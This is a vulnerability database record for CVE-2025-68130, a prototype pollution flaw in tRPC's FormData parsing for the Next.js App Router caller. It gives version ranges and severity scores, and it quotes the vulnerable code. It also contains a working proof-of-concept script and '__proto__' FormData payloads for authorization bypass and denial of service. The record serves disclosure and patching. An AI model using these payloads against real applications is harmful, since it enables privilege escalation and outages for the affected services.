{"id":"CVE-2025-68130","aliases":["CVE-2025-68130","GHSA-43p4-m455-4f4j"],"related":[],"kind":"vulnerability","state":"published","title":"tRPC has possible prototype pollution in `experimental_nextAppDirCaller`","summary":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. Starting in version 10.27.0 and prior to versions 10.45.3 and 11.8.0, a A prototype pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Versions 10.45.3 and 11.8.0 fix the issue.","source":"cvelist"},{"lang":"en","text":"> Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** >=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length > 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // ← No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // ← Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" → [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData && input instanceof FormData) {\n  input = formDataToObject(input);  // ← Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // → \"true\"\n{}.role           // → \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log('    __proto__[isAdmin] = \"true\"');\nconsole.log('    __proto__[role] = \"superadmin\"');\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Después del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorización:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    ✓ Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"tRPC permite a los usuarios construir y consumir APIs completamente seguras en cuanto a tipos sin esquemas o generación de código. A partir de la versión 10.27.0 y antes de las versiones 10.45.3 y 11.8.0, existe una vulnerabilidad de contaminación de prototipos en la función formDataToObject de @trpc/server, que es utilizada por el adaptador del App Router de Next.js. Un atacante puede contaminar Object.prototype al enviar nombres de campos de FormData especialmente diseñados, lo que podría conducir a una omisión de autorización, denegación de servicio u otros impactos de seguridad. Tenga en cuenta que esta vulnerabilidad solo está presente al usar experimental_caller / experimental_nextAppDirCaller. Las versiones 10.45.3 y 11.8.0 solucionan el problema.","source":"nvd"}],"published":"2025-12-16T16:50:42.542Z","modified":"2026-10-13T11:10:00.203Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","score":8.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","score":8.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L","rating":"HIGH"}],"cwes":["CWE-1321"],"affected":[{"ranges":[{"version":">= 10.27.0, < 10.45.3","status":"affected"},{"version":">= 11.0.0, < 11.8.0","status":"affected"}],"vendor":"trpc","product":"trpc","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"10.27.0","status":"affected","fixed":"10.45.3"}],"ecosystem":"npm","package":"@trpc/server","purl":"pkg:npm/%40trpc/server","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"11.0.0","status":"affected","fixed":"11.8.0"}],"ecosystem":"npm","package":"@trpc/server","purl":"pkg:npm/%40trpc/server","source":"ghsa"}],"references":[{"url":"https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68130","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/trpc/trpc","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-12-16T21:38:30.190Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-68130","url":"https://www.cve.org/CVERecord?id=CVE-2025-68130","licence":"CVE Terms of Use","modified":"2025-12-16T21:38:37.366Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-43p4-m455-4f4j","url":"https://github.com/advisories/GHSA-43p4-m455-4f4j","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:31.282Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-68130","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68130","licence":"Public domain","modified":"2026-10-13T11:10:00.203Z"}],"updatedAt":"2026-11-25T22:59:09.546Z","epss":{"score":0.00425,"percentile":0.38741,"date":"2026-12-01T12:00:22.000Z"}}